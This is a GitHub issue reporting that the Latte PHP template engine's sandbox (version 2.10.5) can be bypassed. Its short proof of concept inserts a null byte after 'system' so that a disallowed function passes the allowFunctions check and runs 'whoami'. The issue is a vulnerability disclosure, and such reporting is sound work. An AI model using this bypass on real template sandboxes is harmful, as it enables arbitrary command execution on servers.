Skip to content

There is a way to bypass allowFunctions #279

@P0wfuu

Description

@P0wfuu

Version: 2.10.5

Bug Description

There is a way to bypass allowFunctions that will affect security.

Steps To Reproduce

<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowFilters($policy::ALL);
$policy->allowMacros(['if','=']);
$policy->allowFunctions(['strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
file_put_contents('index.latte',"{=system\x00('whoami')}");
$latte->render('index.latte');

This will execute the system function.

Expected Behavior

Should throw an error not allowed by system function

Possible Solution

Use rigorous regular expression segmentation, or add more rigorous judgments in isFunctionAllowed function

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions